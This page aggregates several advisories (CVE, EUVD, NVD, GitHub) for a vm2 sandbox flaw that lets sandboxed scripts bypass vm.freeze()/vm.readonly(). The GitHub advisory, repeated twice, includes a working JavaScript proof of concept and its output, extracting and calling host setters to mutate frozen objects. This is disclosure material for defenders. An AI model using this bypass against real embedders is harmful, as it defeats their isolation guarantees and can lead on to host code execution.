vm2 3.9.6 before 3.11.7 Sandbox Bypass via Accessor Descriptor
cve-program · CVE-2026-92949
Publishedvm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
Read the publisher's advisoryeuvd · EUVD-2026-81598
Publishedvm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
Read the publisher's advisorynvd · CVE-2026-92949
Publishedvm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
Read the publisher's advisoryosv · GHSA-633r-hq9m-c4ff
Published### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED" // Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ``` ```sh node poc.js ``` Observed output: ``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ``` The first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`. ### Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder. **Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise. **Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined. **Persistence**: as persistent as the host object (typically process-lifetime).
Read the publisher's advisoryosv · GHSA-9f3g-34x8-92jc
Withdrawn## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-633r-hq9m-c4ff. This link is maintained to preserve external references. ## Original Description vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-92949
Publishedvm2 3.9.6 before 3.11.7 Sandbox Bypass via Accessor Descriptor
vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
- Source published
- 17 Sep 2026 13:46:09 UTC
- Source modified
- 21 Sep 2026 17:14:33 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
CVSS 3.1 · 4.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
euvd · EUVD-2026-81598
Publishedvm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescript…
vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 17, 2026, 1:46:09 PM
dateUpdated: Sep 21, 2026, 5:14:33 PM
- Source published
- Sep 17, 2026, 1:46:09 PM (timezone not stated)
- Source modified
- Sep 21, 2026, 5:14:33 PM (timezone not stated)
- Saved here
- 11 Nov 2026 17:05:15 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
nvd · CVE-2026-92949
Publishedvm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescript…
vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-471
Original publisher date fields
published: 2026-09-17T14:18:00.463
lastModified: 2026-09-21T18:17:15.850
- Source published
- 17 Sep 2026 14:18:00 UTC
- Source modified
- 21 Sep 2026 18:17:15 UTC
- Saved here
- 25 Oct 2026 16:19:22 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 4.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
osv · GHSA-633r-hq9m-c4ff
Publishedvm2: vm.freeze()/vm.readonly() bypass via accessor descriptor
### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED" // Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ``` ```sh node poc.js ``` Observed output: ``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ``` The first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`. ### Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder. **Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise. **Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined. **Persistence**: as persistent as the host object (typically process-lifetime).
- Source published
- 1 Oct 2026 15:35:25 UTC
- Source modified
- 1 Oct 2026 15:45:06 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Publisher rating · MODERATE
osv · GHSA-9f3g-34x8-92jc
WithdrawnDuplicate Advisory: vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor
## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-633r-hq9m-c4ff. This link is maintained to preserve external references. ## Original Description vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
- Source published
- 17 Sep 2026 15:32:16 UTC
- Source modified
- 1 Oct 2026 15:45:06 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Publisher rating · MODERATE